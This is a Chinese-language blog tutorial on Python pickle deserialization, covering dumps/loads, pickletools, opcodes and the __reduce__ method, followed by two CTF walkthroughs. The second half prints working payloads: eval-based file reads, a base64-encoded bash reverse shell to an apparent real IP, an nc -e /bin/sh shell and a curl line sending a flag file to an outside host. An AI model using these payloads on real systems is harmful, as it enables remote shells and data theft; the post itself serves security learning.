持续创作,加速成长!这是我参与「掘金日新计划 · 10 月更文挑战」的第15天,点击查看活动详情
引文
提到反序列化,大家首先会想到php反序列化或者java反序列化,今天给大家带来PYTHON反序列化,各大语言都有自己的反序列库,而Python的库就是Pickle。下面给大家详细讲一下。
基础知识
序列化与反序列化
PYTHON使用loads和dumps2个函数实现反序列化和序列化操作 ,因为之前已经讲过反序列化的基础了,这里就举个例子给大家看看:
import pickle
text = 'xino'
sertext = pickle.dumps(text)
print(sertext)
reltext = pickle.loads(sertext)
print(reltext)
运行一下会发现输出了:
其中第一行为我们序列化的字节流,而xino为我们序列化之前的内容,对于打包的内容,PYTHON是支持许多类型的打包,具体如下图:
注意点
当我们简单定义class时,对于形似:
xino= 1234656
的方式进行赋值时,序列化不会打包我们定义的这个参数,解决方法是写一个__init__方法:
import pickle
class tmp():
text = "114514"
def __init__(self, text):
self.text = text
Unpickler类
它接受一个二进制文件用于读取 pickle 数据流。在该类中有一个load() 方法,从构造函数中指定的文件对象里读取打包好的对象,重建其中特定对象的层次结构并返回。打包对象以外的其他字节将被忽略。该方法依赖于Pickle Virtual Machine ,最后输出字节流,想要深入了解可以参考博客:
pickletools 调试器
python自带的pickle调试器,有三个功能:反汇编一个已经被打包的字符串、优化一个已经被打包的字符串、返回一个迭代器来供程序使用。
这里就简单演示一下:
通过dis方法对一个已经打包好的字符串进行反汇编:
import pickle
import pickletools
class pickle_test:
def __init__(self):
self.date = 20200911
self.name = "XINO"
a = pickle_test()
s = pickle.dumps(a, protocol=2)
print(s)
pickletools.dis(s)
解析字符串,并告诉我们每一个点都在干什么,你会发现上面内容有一些是用不到的,这里引入:
optimize方法对打包的字符串和反汇编指令进行优化。
s = pickletools.optimize(s)
这样逻辑就比较好看了,对于这些指令码,我们需要学习一下opcode。
opcode
PVM引擎会识别opcode中不同的指令码,从而进行相应的操作。下面简单举一些例子:
魔术方法
联想PHP反序列化中最重要的魔术方法,PYTHON反序列化中也存在着可以利用的魔术方法,最常用的就是__reduce__ ,类似于php的__wakeup__,被序列化的时候告诉系统如何运行,他的返回值第一个参数是函数名,第二个参数是一个tuple,第一个的参数,我们可以控制里面的值。
import pickle
class tmp():
text = "123"
def __init__(self, text):
self.text = text
def __reduce__(self):
return (tmp,("XINO",))
text = tmp('aa111')
sertext = pickle.dumps(text)
print(sertext)
reltext = pickle.loads(sertext)
print(reltext.text)
可以看到我们在reduce里写的值传入字符串里面了。
例题
例子一
给到我们源码:
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
发现含有关键字类似“import cPickle”或“import pickle”等,怀疑是pickle反序列化,我们构建一个类,类里面的__reduce__魔术方法会在该类被反序列化的时候会被调用,而在reduce方法里面我们就读取flag.txt文件,因为源码里对参数对对象进行了URL解码,所以我们将该类序列化之后进行URL编码, 于是我们可以编写payload:
# coding:utf-8
#version:python2.7
import pickle
import urllib
class Test(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()" ,))
a = Test()
s = pickle.dumps(a)
print(urllib.quote(s))
#c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
抓包提交得到flag:
例子二
进入网站发现是一个商店:
抓包发现session比较奇怪,根据题目的PICKLE名字,我们解一下:
import base64
import pickle
print(pickle.loads(base64.b64decode("SESSION")))
我们还是可以根据reduce方法去重写参数然后发包:
import base64
import pickle
class shell(object):
# bash -i >& /dev/tcp/你的ip/9999 0>&1的base64
def __reduce__(self):
return (eval, ("__import__('os').system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTkuOTEuMjYuMjI5Lzk5OTkgMD4mMQ== | base64 -d | bash ')",))
k = shell()
print(base64.b64encode(pickle.dumps(k)))
参考其他师傅的做题过程,我们也可以用nc或者curl:
NC:
import base64
import pickle
class A(object):
def __reduce__(self):
return (eval, ("__import__('os').system('nc VPS PORT -e/bin/sh')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))
CURL:
import pickle
import base64
class A(object):
def __reduce__(self):
return (eval,("__import__('os').system('curl http://XXX.xxx.xxx.xxx/`cat flag.txt|base64`')",))
a = A()
print(base64.b64encode(pickle.dumps(a)))
结语
今天讲的内容可能有点难理解,因为涉及了比较底层的知识点,文章中有一些比较难的地方可能讲的不是很好,有兴趣的小伙伴可以自己去深入理解一下,文章可能有不对的地方望大家指正。